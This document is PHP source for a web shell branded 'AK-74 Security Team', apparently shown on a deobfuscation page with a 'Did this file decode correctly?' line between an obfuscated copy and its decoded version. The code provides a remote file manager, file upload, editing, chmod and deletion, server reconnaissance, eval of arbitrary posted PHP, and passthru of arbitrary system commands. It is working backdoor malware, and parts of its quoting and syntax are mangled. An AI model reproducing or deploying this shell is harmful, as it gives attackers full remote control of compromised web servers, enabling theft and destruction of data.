uploadfile(){if($_FILES["filename"]["error"]!=0)return"121212";$_POST["filename2"]=trim($_POST["filename2"]);if(empty($_POST["filename2"]))$_POST["filename2"]=$_FILES["filename"]["name"];if(!copy($_FILES["filename"]["tmp_name"],$_SESSION["currentdir"]."/".$_POST["filename2"])){if(!move_uploaded_file($_FILES["filename"]["tmp_name"],$_SESSION["currentdir"]."/".$_POST["filename2"]))return"File download failed...";}return"The file was uploaded successfully!";}}${${"GLOBALS"}["fdxvupxbx"]}=new shell();${${"GLOBALS"}["olmwrdqid"]}=$shell->getmicrotime();${"content"}="";if(!isset($_SESSION["currentdir"]))$_SESSION["currentdir"]=str_replace("\","/",$_SERVER["DOCUMENT_ROOT"]);if(isset($_GET["dir"])){if(opendir(realpath($_SESSION["currentdir"]."/".$_GET["dir"])))$_SESSION["currentdir"]=realpath($_SESSION["currentdir"]."/".$_GET["dir"]);Header("Location: $xshell?act=filemanager");}$_SESSION["currentdir"]=str_replace("\","/",$_SESSION["currentdir"]);if(substr($_SESSION["currentdir"],-1,1)=="/")$_SESSION["currentdir"]=substr($_SESSION["currentdir"],0,-1);${"GLOBALS"}["lvsmiwfpysj"]="content";switch($_POST["action"]){case"chmod":if($shell->chmodfile($_POST["file"]))${${"GLOBALS"}["iknpldrpigo"]}.="The change was successful";break;case"editfile":if($shell->editfile($_POST["file"]))${"content"}.="The edit was successful";break;case"execute":$shell->execute();break;case"exesys":$shell->exesys();break;case"mkdir":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->createdir();break;case"createfile":${"content"}.=$shell->createfile();break;case"uploadfile":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->uploadfile();break;}${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputhead();${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputmenu();switch($_GET["act"]){case"edit":${${"GLOBALS"}["gyyylpy"]}.=$shell->editfileform($_GET["file"]);break;case"chmod":${${"GLOBALS"}["lvsmiwfpysj"]}.=$shell->chmodform($_GET["file"]);break;case"down":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->downloadfile($_GET["file"]);break;case"filemanager":if($_GET["act2"]=="del")${"content"}.=$shell->removefile();${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputfilemanager();if($_GET["act3"]=="del")${"content"}.=$shell->removedir();break;case"phpinfo":phpinfo();die();break;case"info":${"content"}.=$shell->outputinfo();break;case"execute":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->executeform();break;case"exesys":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->exesysform();break;}${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputdown();echo${"content"};echo"<center>Generation time: ".($shell->getmicrotime()-${${"GLOBALS"}["olmwrdqid"]})."</center>";echo "<script type="text/javascript\">

</script>
"; ?>

Did this file decode correctly?

Original Code

    ${"GLOBALS"}["iknpldrpigo"]="content";${"GLOBALS"}["olmwrdqid"]="timestart";${"GLOBALS"}["fdxvupxbx"]="shell";${"GLOBALS"}["shdxowcvsq"]="fp";${"GLOBALS"}["kdhmhcnuk"]="files";${"GLOBALS"}["hdyzecu"]="number";${"GLOBALS"}["gyyylpy"]="content";${"GLOBALS"}["cvvtiemv"]="dirs";${"GLOBALS"}["kqhombvoisgz"]="xshell";${"GLOBALS"}["nwkrhqdzrcw"]="res";${"GLOBALS"}["fzszjgc"]="info";${"GLOBALS"}["fvyvgcirdxx"]="path";${"GLOBALS"}["pgctubg"]="perms";${"GLOBALS"}["kmdyudoev"]="sec";${"GLOBALS"}["xcglkyuot"]="dir";${"GLOBALS"}["hoyoqwd"]="mas";${"GLOBALS"}["vtpgxuvxbi"]="file";${"GLOBALS"}["dwjodtpv"]="handle";${"GLOBALS"}["wdyvqrczdgu"]="i";error_reporting(0);@set_time_limit(0);session_start();${"xshell"}=${"SERVER_"}["PHP_SELF"];class shell{function getfiles(){${"GLOBALS"}["qzgebdlknl"]="mas";${"mas"}=array();${${"GLOBALS"}["wdyvqrczdgu"]}=0;if(${${"GLOBALS"}["dwjodtpv"]}=opendir($_SESSION["currentdir"])){${"GLOBALS"}["qmdtpcoeduj"]="handle";${"GLOBALS"}["zoaynvkz"]="file";while(false!==(${${"GLOBALS"}["zoaynvkz"]}=readdir(${${"GLOBALS"}["qmdtpcoeduj"]}))){if(${${"GLOBALS"}["vtpgxuvxbi"]}!=".."){if(!is_dir($_SESSION["currentdir"]."/".${${"GLOBALS"}["vtpgxuvxbi"]})){${"GLOBALS"}["sntlhgwvrnz"]="file";${"GLOBALS"}["mpyjuxikn"]="i";${${"GLOBALS"}["hoyoqwd"]}[${"i"}]["filename"]=${"file"};${"GLOBALS"}["nhauqglig"]="mas";${"mas"}[${"i"}]["filesize"]=filesize($_SESSION["currentdir"]."/".${${"GLOBALS"}["vtpgxuvxbi"]});${${"GLOBALS"}["nhauqglig"]}[${${"GLOBALS"}["mpyjuxikn"]}]["lastmod"]=date("H.i/d.m.Y",filemtime($_SESSION["currentdir"]."/".${${"GLOBALS"}["sntlhgwvrnz"]}));${"i"}++;}}}closedir(${${"GLOBALS"}["dwjodtpv"]});}return${${"GLOBALS"}["qzgebdlknl"]};}function getdirs(){${"GLOBALS"}["mscjpo"]="mas";${${"GLOBALS"}["mscjpo"]}=array();if(${${"GLOBALS"}["dwjodtpv"]}=opendir($_SESSION["currentdir"])){${"GLOBALS"}["hobugedqduo"]="dir";${"GLOBALS"}["xwlfufyf"]="handle";while(false!==(${${"GLOBALS"}["hobugedqduo"]}=readdir(${${"GLOBALS"}["xwlfufyf"]}))){${"GLOBALS"}["iebmlxxk"]="dir";if(${${"GLOBALS"}["xcglkyuot"]}!=&&is_dir($_SESSION["currentdir"]."/".${${"GLOBALS"}["iebmlxxk"]}))${"mas"}[]=${"dir"};}closedir(${${"GLOBALS"}["dwjodtpv"]});}return${"mas"};}function geturl(){if($_SESSION["currentdir"]."/"==$_SERVER["DOCUMENT_ROOT"])return"/";if(strpos($_SESSION["currentdir"],str_replace("\","/",$_SERVER["DOCUMENT_ROOT"]))===false)return"";return str_replace($_SERVER["DOCUMENT_ROOT"],"",$_SESSION["currentdir"]."/");}function removefile(){if(file_exists($_GET["file"])){chmod($_GET["file"],0777);if(unlink($_GET["file"]))return"File deleted!";else return"File deleted!";}else return"File not found!";}function removedir(){chmod($_GET["dir"],0777);if(rmdir($_GET["dir"]))return"Directory deleted!";else return"Directory not found!";}function getmicrotime(){${"GLOBALS"}["azoxuqxbstyx"]="sec";${"GLOBALS"}["gpoxftmel"]="usec";list(${"usec"},${${"GLOBALS"}["azoxuqxbstyx"]})=explode(" ",microtime());return((float)${${"GLOBALS"}["gpoxftmel"]}+(float)${${"GLOBALS"}["kmdyudoev"]});}function getpermission($path){${${"GLOBALS"}["pgctubg"]}=fileperms(${${"GLOBALS"}["fvyvgcirdxx"]});${"GLOBALS"}["uchwntfz"]="info";${"GLOBALS"}["jckaac"]="perms";if((${${"GLOBALS"}["pgctubg"]}&0xC000)==0xC000)${"info"}="s";elseif((${${"GLOBALS"}["pgctubg"]}&0xA000)==0xA000)${"info"}="l";elseif((${"perms"}&0x8000)==0x8000)${${"GLOBALS"}["fzszjgc"]}="-";elseif((${"perms"}&0x6000)==0x6000)${${"GLOBALS"}["fzszjgc"]}="b";elseif((${"perms"}&0x4000)==0x4000)${"info"}="d";elseif((${${"GLOBALS"}["pgctubg"]}&0x2000)==0x2000)${"info"}="c";elseif((${"perms"}&0x1000)==0x1000)${${"GLOBALS"}["fzszjgc"]}="p";else${${"GLOBALS"}["fzszjgc"]}="u";${${"GLOBALS"}["uchwntfz"]}.=((${${"GLOBALS"}["pgctubg"]}&0x0100)?"r":"-");${${"GLOBALS"}["fzszjgc"]}.=((${${"GLOBALS"}["pgctubg"]}&0x0080)?"w":"-");${${"GLOBALS"}["fzszjgc"]}.=((${${"GLOBALS"}["pgctubg"]}&0x0040)?((${${"GLOBALS"}["pgctubg"]}&0x0800)?"s":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0800)?"S":"-"));${"info"}.=((${${"GLOBALS"}["pgctubg"]}&0x0020)?"r":"-");${${"GLOBALS"}["fzszjgc"]}.=((${"perms"}&0x0010)?"w":"-");${${"GLOBALS"}["fzszjgc"]}.=((${${"GLOBALS"}["pgctubg"]}&0x0008)?((${${"GLOBALS"}["jckaac"]}&0x0400)?"s":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0400)?"S":"-"));${"GLOBALS"}["xqayvij"]="perms";${${"GLOBALS"}["fzszjgc"]}.=((${${"GLOBALS"}["pgctubg"]}&0x0004)?"r":"-");${"info"}.=((${${"GLOBALS"}["xqayvij"]}&0x0002)?"w":"-");${"info"}.=((${${"GLOBALS"}["pgctubg"]}&0x0001)?((${${"GLOBALS"}["pgctubg"]}&0x0200)?"t":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0200)?"T":"-"));return${"info"};}function getpermissionarray($path){${"GLOBALS"}["ffvutedscs"]="perms";${${"GLOBALS"}["nwkrhqdzrcw"]}=array();${"GLOBALS"}["mospvgr"]="path";${${"GLOBALS"}["pgctubg"]}=fileperms(${${"GLOBALS"}["mospvgr"]});${"GLOBALS"}["secvlqatfohv"]="perms";${"GLOBALS"}["bzngcqtouq"]="perms";${"GLOBALS"}["aboxvtoyg"]="perms";${"GLOBALS"}["woyxpuac"]="res";${"GLOBALS"}["mdbgzpglccyj"]="perms";${"GLOBALS"}["vdddnl"]="res";if((${${"GLOBALS"}["pgctubg"]}&0xC000)==0xC000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="s";elseif((${${"GLOBALS"}["pgctubg"]}&0xA000)==0xA000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="l";elseif((${${"GLOBALS"}["pgctubg"]}&0x8000)==0x8000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="-";elseif((${${"GLOBALS"}["pgctubg"]}&0x6000)==0x6000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="b";elseif((${${"GLOBALS"}["aboxvtoyg"]}&0x4000)==0x4000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="d";elseif((${${"GLOBALS"}["pgctubg"]}&0x2000)==0x2000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="c";elseif((${${"GLOBALS"}["mdbgzpglccyj"]}&0x1000)==0x1000)${"res"}[]="p";else${${"GLOBALS"}["nwkrhqdzrcw"]}[]="u";${"GLOBALS"}["nfmqqbwyhr"]="perms";${${"GLOBALS"}["nwkrhqdzrcw"]}[]=((${${"GLOBALS"}["pgctubg"]}&0x0100)?"r":"-");${"GLOBALS"}["rmhkov"]="res";${${"GLOBALS"}["woyxpuac"]}[]=((${${"GLOBALS"}["pgctubg"]}&0x0080)?"w":"-");${${"GLOBALS"}["vdddnl"]}[]=((${${"GLOBALS"}["bzngcqtouq"]}&0x0040)?((${${"GLOBALS"}["secvlqatfohv"]}&0x0800)?"s":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0800)?"S":"-"));${${"GLOBALS"}["nwkrhqdzrcw"]}[]=((${${"GLOBALS"}["nfmqqbwyhr"]}&0x0020)?"r":"-");${${"GLOBALS"}["rmhkov"]}[]=((${${"GLOBALS"}["pgctubg"]}&0x0010)?"w":"-");${"res"}[]=((${${"GLOBALS"}["ffvutedscs"]}&0x0008)?((${"perms"}&0x0400)?"s":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0400)?"S":"-"));${"GLOBALS"}["gxyvyqrjw"]="perms";${"res"}[]=((${${"GLOBALS"}["gxyvyqrjw"]}&0x0004)?"r":"-");${${"GLOBALS"}["nwkrhqdzrcw"]}[]=((${${"GLOBALS"}["pgctubg"]}&0x0002)?"w":"-");${"res"}[]=((${"perms"}&0x0001)?((${${"GLOBALS"}["pgctubg"]}&0x0200)?"t":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0200)?"T":"-"));return${"res"};}function outputhead(){${${"GLOBALS"}["nwkrhqdzrcw"]}="";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<html><head><title>AK-74 Security Team Web Shell</title><meta http-equiv=\"Content-Type" content="text/html; charset=windows-1251\"></head>\n<body>\n<STYLE>\nA:link {\n\tCOLOR: #4d6d91; TEXT-DECORATION: underline\n}\nA:active {\n\tCOLOR: #4d6d91; TEXT-DECORATION: underline\n}\nA:visited {\n\tCOLOR: #4d6d91; TEXT-DECORATION: underline\n}\nA:hover {\n\tCOLOR: #C10000; TEXT-DECORATION: underline\n}\nTD {\n\tFONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica\n}\nBODY {\n\tFONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica; SCROLLBAR-FACE-COLOR: #cccccc; SCROLLBAR-HIGHLIGHT-COLOR: #c10000; SCROLLBAR-SHADOW-COLOR: #c10000; SCROLLBAR-3DLIGHT-COLOR: #830000; SCROLLBAR-ARROW-COLOR: #c10000; SCROLLBAR-TRACK-COLOR: #eeeeee; FONT-FAMILY: verdana; SCROLLBAR-DARKSHADOW-COLOR: #830000; BACKGROUND-COLOR: #dcdcdc; \n}\n</STYLE>\n<div align="center"><table border=1 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 2px solid">\n <tr>\n  <td colspan=7 align="center\">\n   <b><font color=#830000 size=4>.:: :[ AK-74 Security Team Web-shell ]: \n::.</font></b>\n  </td>\n </tr>";return${"res"};}function outputmenu(){${"GLOBALS"}["omlmyuabmc"]="res";${"GLOBALS"}["kzvefdrkoqf"]="res";${${"GLOBALS"}["omlmyuabmc"]}="";${${"GLOBALS"}["kzvefdrkoqf"]}.="<tr>\n  <td colspan=7 align=\"center\">\n   <table border=0 cellspacing=0 cellpadding=0>\n    <tr align=\"center">\n\t <td width=150>\n\t  <a href="".${${"GLOBALS"}["kqhombvoisgz"]}."?act=info">General information</a>\n\t </td>\n\t <td width=150>\n\t  <a href="".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager\">File manager</a>\n\t </td>\n\t <td width=80>\n\t  <a href="".${"xshell"}."?act=phpinfo" target=\"_blank\">phpinfo()</a>\n\t </td>\n\t <td width=110>\n\t  <a href="".${"xshell"}."?act=execute">Run PHP</a>\n\t </td>\n\t <td width=150>\n\t  <a href=\"".${"xshell"}."?act=exesys\">Execute the command</a>\n\t </td>\n      </tr>\n   </table>\n  </td>\n </tr>";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function outputdown(){${${"GLOBALS"}["nwkrhqdzrcw"]}="";${"GLOBALS"}["srzeskty"]="res";${${"GLOBALS"}["srzeskty"]}.="</table></div></body></html>";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function outputfilemanager(){${"GLOBALS"}["udmmztjca"]="xshell";${"GLOBALS"}["ychruqucrf"]="xshell";${"GLOBALS"}["vmuyoysyoe"]="res";${"GLOBALS"}["orpfxw"]="res";${"GLOBALS"}["tuwswjh"]="res";${"GLOBALS"}["acmzbxffk"]="res";${${"GLOBALS"}["acmzbxffk"]}="";${"GLOBALS"}["vdtvfpbhyru"]="number";${${"GLOBALS"}["vdtvfpbhyru"]}=0;${"GLOBALS"}["sejtvw"]="dirs";${${"GLOBALS"}["cvvtiemv"]}=$this->getdirs();${"files"}=$this->getfiles();${"GLOBALS"}["asxszifet"]="i";sort(${${"GLOBALS"}["sejtvw"]});sort(${"files"});${${"GLOBALS"}["nwkrhqdzrcw"]}.="\n <tr>\n  <td colspan=7 align=\"center">\n  <font color=#830000> The current directory:</font><b><font color=#830000>".$_SESSION["currentdir"]."</font></b>\n  </td>\n </tr>\n <tr align=\"center">\n  <td width=30>\n   &nbsp;\n  </td>\n  <td width=330>\n   &nbsp;\n  </td>\n  <td width=80><font color=#830000> ,</font> <b><font color=#830000>byte</font></b>\n   &nbsp;\n  </td>\n  <td width=120><font color=#830000>\n   Recent change\n   </font>\n  </td>\n  <td width=80 align="center\"><font color=#830000>Access right</font>\n   &nbsp;\n  </td>\n  <td width=30>\n   &nbsp;\n  </td>\n  <td width=30>\n   &nbsp;\n  </td>\n </tr>";${"GLOBALS"}["wyqypgtjmi"]="i";for(${${"GLOBALS"}["asxszifet"]}=0;${"i"}<count(${"dirs"});${${"GLOBALS"}["wdyvqrczdgu"]}++){${"GLOBALS"}["vapieoe"]="res";${"GLOBALS"}["uvckfgaxtwdw"]="res";${"GLOBALS"}["wjjxsx"]="xshell";${"GLOBALS"}["bbrtstbve"]="dirs";${"GLOBALS"}["jeyjcbtlodsa"]="dirs";${"GLOBALS"}["ywnqtawj"]="i";${"GLOBALS"}["fxthzy"]="dirs";${${"GLOBALS"}["vapieoe"]}.="<tr><td><b><font color=#830000>".(++${${"GLOBALS"}["hdyzecu"]})."</font></b></td><td><b><a href="".${${"GLOBALS"}["wjjxsx"]}."?act=filemanager&dir=".${${"GLOBALS"}["cvvtiemv"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]."\">".${${"GLOBALS"}["fxthzy"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]."</a></b></td><td>&nbsp;</td><td>&nbsp;</td><td>";${${"GLOBALS"}["uvckfgaxtwdw"]}.="<a href="".${"xshell"}."?act=chmod&file=".$_SESSION["currentdir"]."/".${${"GLOBALS"}["bbrtstbve"]}[${"i"}]."">".($this->getpermission($_SESSION["currentdir"]."/".${${"GLOBALS"}["jeyjcbtlodsa"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]))."</a>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="</td><td>&nbsp;</td><td><a href=\"".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager&act3=del&dir=".$_SESSION["currentdir"]."/".${${"GLOBALS"}["cvvtiemv"]}[${${"GLOBALS"}["ywnqtawj"]}]."">delete</a></td></tr>";}for(${"i"}=0;${${"GLOBALS"}["wdyvqrczdgu"]}<count(${${"GLOBALS"}["kdhmhcnuk"]});${${"GLOBALS"}["wyqypgtjmi"]}++){${"GLOBALS"}["gkyyblyqymf"]="i";${"GLOBALS"}["qwtxsjlqhhf"]="files";${"GLOBALS"}["tefzqpvhph"]="files";${"GLOBALS"}["omvsytrtatv"]="i";${"GLOBALS"}["ypsmanoevl"]="i";${"GLOBALS"}["tkghkgf"]="res";${"res"}.="<tr><td><b><font color=#830000>".(++${${"GLOBALS"}["hdyzecu"]})."</font></b></td>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<td><a href=\"".${${"GLOBALS"}["kqhombvoisgz"]}."?act=down&file=".$_SESSION["currentdir"]."/".${${"GLOBALS"}["tefzqpvhph"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]["filename"]."">".${${"GLOBALS"}["qwtxsjlqhhf"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]["filename"]."</a></td>";${"res"}.="<td>&nbsp;&nbsp;".${${"GLOBALS"}["kdhmhcnuk"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]["filesize"]."</td>";${${"GLOBALS"}["tkghkgf"]}.="<td align=\"center\">".${${"GLOBALS"}["kdhmhcnuk"]}[${${"GLOBALS"}["gkyyblyqymf"]}]["lastmod"]."</td>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<td align="center\"><a href=\"".${"xshell"}."?act=chmod&file=".$_SESSION["currentdir"]."/".${"files"}[${${"GLOBALS"}["omvsytrtatv"]}]["filename"]."">".($this->getpermission($_SESSION["currentdir"]."/".${"files"}[${"i"}]["filename"]))."</a></td>";${"res"}.="<td align=\"center\"><a href=\"".${"xshell"}."?act=edit&file=".$_SESSION["currentdir"]."/".${${"GLOBALS"}["kdhmhcnuk"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]["filename"]."">edit</a></td>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<td align=\"center\"><a href=\"".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager&act2=del&file=".$_SESSION["currentdir"]."/".${${"GLOBALS"}["kdhmhcnuk"]}[${${"GLOBALS"}["ypsmanoevl"]}]["filename"]."">delete</a></td></tr>";}${"res"}.="</table><br>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<table border=0 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 2px solid">";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<tr><td align=center><form action="".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager" method="post"><input type=\"hidden\" name=\"action" value="mkdir\"><b><font color=#830000> :</b></font> </td><td><input type=\"text" name=\"dircreate\"><input type="submit\" value="\"></form></td></tr>";${${"GLOBALS"}["vmuyoysyoe"]}.="<tr><td align=center><form action="".${${"GLOBALS"}["ychruqucrf"]}."?act=filemanager" method="post\"><input type=\"hidden\" name="action" value=\"createfile\"><b><font color=#830000> :</b></font></td><td> <input type="text" name="filecreate"><input type="submit\" value=""></form></td></tr>";${${"GLOBALS"}["orpfxw"]}.="<tr><td align=center><form enctype="multipart/form-data" action="".${${"GLOBALS"}["udmmztjca"]}."?act=filemanager\" method=\"post"><input type="hidden\" name=\"action\" value=\"uploadfile\"><b><font color=#830000> :</font></b></td><td><input type=\"file\" name="filename" size=\"23\"> <b><font color=#830000>  </b></font></td><td> <input type=\"text" name="filename2\"><input type="submit\" value=\"\"></form></td></tr>";${${"GLOBALS"}["tuwswjh"]}.="<table border=0 width=\"700\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid">";${"res"}.="<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net\" target="_blank\">AK-74 Security Team<a> <font color=#83000>2005 - ".date("Y")."</font></b></td></tr>";return${"res"};}function outputinfo(){${"res"}="";${"res"}.="<tr>\n  <td align="center" colspan=7>\n   <b><font color=#83000>General information about the server</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"left\"><br>\n   <ol>\n    <b><font color=#830000>1. OS - </font></b><font color=#830000>".(php_uname())."</font><br><br>\n    <b><font color=#830000>2.   PHP - </font></b><font color=#830000>".(phpversion())."</font><br><br>\n    <b><font color=#830000>3.</font></b><font color=#830000> <b><font color=#830000>User</b></font> - ".(get_current_user())." <b><font color=#830000>|| User ID</font></b> - ".(getmyuid())." <b><font color=#830000>|| Group ID</b></font> - ".(getmygid())."</font><br><br>\n    <b><font color=#830000>4. Server Software - </font></b><font color=#830000>".(getenv("SERVER_SOFTWARE"))."</font><br><br>\n    <b><font color=#830000>5. Request Method - </font></b><font color=#830000>".(getenv("REQUEST_METHOD"))."</font><br><br>\n    <b><font color=#830000>6. Server IP - </font></b><font color=#830000>".(getenv("SERVER_ADDR"))."</font><br><br>\n    <b><font color=#830000>7. Your IP - </font></b><font color=#830000>".(getenv("REMOTE_ADDR"))."</font><br><br>\n\t<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>".(getenv("HTTP_X_FORWARDED_FOR"))."</font><br><br>\n</td>\n </tr>\n <table border=0 width="555\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid\">\n<tr><td align=center><b><font color=#83000>Copyright </font><a href=\"http://ak74-team.net" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - ".date("Y")."</font></b></td></tr>";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function chmodform($file){${"GLOBALS"}["nwfedck"]="perms";${${"GLOBALS"}["pgctubg"]}=$this->getpermissionarray(${"file"});${"GLOBALS"}["ynokejbtuh"]="perms";${"GLOBALS"}["ngqiunigukfh"]="perms";${"GLOBALS"}["ykexebt"]="res";${"GLOBALS"}["pefltgfgwzb"]="i";${"res"}="";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<form action=\"".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager" method="post\"><input type=\"hidden\" name=\"action\" value="chmod"><input type="hidden" name=\"file" value=\"".${"file"}."\">\n <tr>\n  <td align="center\" colspan=7>\n   <b><font color=#83000>Changing access permissions</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align="center\">\n   <table border=1 cellspacing=0 cellpadding=0>";${"res"}.="<tr align=\"center\"><td>&nbsp;</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td></tr>";${"GLOBALS"}["yggjmwlv"]="res";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<tr><td><input type=\"hidden\" name="perms0" value=\"".${${"GLOBALS"}["ngqiunigukfh"]}[0]."\">".${${"GLOBALS"}["ynokejbtuh"]}[0]."</td>";for(${"i"}=1;${${"GLOBALS"}["wdyvqrczdgu"]}<=9;${${"GLOBALS"}["pefltgfgwzb"]}++)${${"GLOBALS"}["nwkrhqdzrcw"]}.="<td><input type=\"checkbox\" name=\"perms".${"i"}."\"".((${${"GLOBALS"}["nwfedck"]}[${"i"}]!="-")?" checked":"")."></td>";${${"GLOBALS"}["ykexebt"]}.="</tr><tr><td colspan=10 align=\"right\"><input type=\"submit\" value=\"Save"></td></tr>";${${"GLOBALS"}["yggjmwlv"]}.="</table></td></tr></form>";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function editfileform($file){${"GLOBALS"}["wcqoifupsbh"]="file";${${"GLOBALS"}["shdxowcvsq"]}=fopen(${${"GLOBALS"}["vtpgxuvxbi"]},"r");if(!${${"GLOBALS"}["shdxowcvsq"]})return"  ";${${"GLOBALS"}["nwkrhqdzrcw"]}="";${"GLOBALS"}["ryysceaq"]="res";${"GLOBALS"}["yjdeuf"]="res";${"GLOBALS"}["kwyxxau"]="file";${"res"}.="<form action=\"".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager" method=\"post\"><input type="hidden\" name="action\" value="editfile"><input type="hidden\" name=\"file\" value=\"".${${"GLOBALS"}["wcqoifupsbh"]}."\"><tr>\n  <td align=\"center" colspan=7>\n   <b><font color=#83000>Edit the file</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align=\"center">\n   <table border=1 cellspacing=0 cellpadding=0>";${${"GLOBALS"}["ryysceaq"]}.="<tr><td><textarea rows=25 cols=100 name="filecontent">".(htmlspecialchars(fread(${"fp"},filesize(${${"GLOBALS"}["kwyxxau"]}))))."</textarea></td></tr>";${${"GLOBALS"}["yjdeuf"]}.="<tr><td align=\"right"><b><font color=#830000>Rename:</font></b> <INPUT TYPE=TEXT NAME=rename size=100 maxlength=9999999 value=".${${"GLOBALS"}["vtpgxuvxbi"]}."> - <input type="submit" value=\"Edit"></td></tr>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="</table></td></tr></form>";fclose(${"fp"});return${"res"};}function executeform(){${"GLOBALS"}["gbbivqermof"]="xshell";${"GLOBALS"}["jcoxegkjqmx"]="res";${${"GLOBALS"}["nwkrhqdzrcw"]}="";${${"GLOBALS"}["jcoxegkjqmx"]}.="<form action="".${${"GLOBALS"}["gbbivqermof"]}."?act=execute" method="post"><input type="hidden" name="action\" value="execute">\n <tr>\n  <td align="center" colspan=7>\n   <b><font color=#83000>Executing PHP code<br> Opening and closing PHP code ( &lt;?  ) no need to write!</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align="center\">\n   <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=20 cols=80 name=\"phpcode\">";${${"GLOBALS"}["nwkrhqdzrcw"]}.="</textarea></td></tr><tr><td align="right"><input type="submit\" value="\"></td></tr></table></td></tr>\n <table border=0 width="555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid\">\n<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - ".date("Y")."</font></b></td></tr>";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function execute(){echo"<hr>";echo"<pre>";eval(stripslashes($_POST["phpcode"]));echo"</pre>";echo"<hr>";}function exesysform(){${${"GLOBALS"}["nwkrhqdzrcw"]}="";${"GLOBALS"}["lmwlmrqw"]="res";${"GLOBALS"}["ubwopher"]="res";${${"GLOBALS"}["lmwlmrqw"]}.="<form action="".${${"GLOBALS"}["kqhombvoisgz"]}."?act=exesys" method=\"post"><input type="hidden\" name=\"action" value=\"exesys">\n <tr>\n  <td align="center" colspan=7>\n   <b><font color=#83000>Execute system commands!</font></b>\n  </td>\n </tr>\n <tr>\n  <td colspan=7 align="center\">\n   <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=5 cols=80 name="cmmd\">";${${"GLOBALS"}["ubwopher"]}.="</textarea></td></tr><tr><td align=\"right\"><input type=\"submit\" value=\"Perform\"></td></tr></table></td></tr>\n <table border=0 width=\"555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">\n<tr><td align=center><b><font color=#83000>Copyright </font><a href="https://www.r57.gen.tr/" title=\"r57.gen.tr">r57.gen.tr</a> - <a href=\"http://ak74-team.net" target="_blank\">AK-74 Security Team<a> <font color=#83000>2005 - ".date("Y")."</font></b></td></tr>";return${"res"};}function exesys(){${"GLOBALS"}["yvcpokfc"]="result";echo"<hr>";echo"<pre>";${${"GLOBALS"}["yvcpokfc"]}=passthru($_POST["cmmd"]);echo"</pre>";echo"<hr>";}function editfile($file){if(!empty($_POST["rename"])){rename($_POST["file"],$_POST["rename"]);}${${"GLOBALS"}["shdxowcvsq"]}=fopen($_POST["rename"],"w");if(!${${"GLOBALS"}["shdxowcvsq"]})return 0;fwrite(${${"GLOBALS"}["shdxowcvsq"]},stripslashes($_POST["filecontent"]));fclose(${${"GLOBALS"}["shdxowcvsq"]});return 1;}function 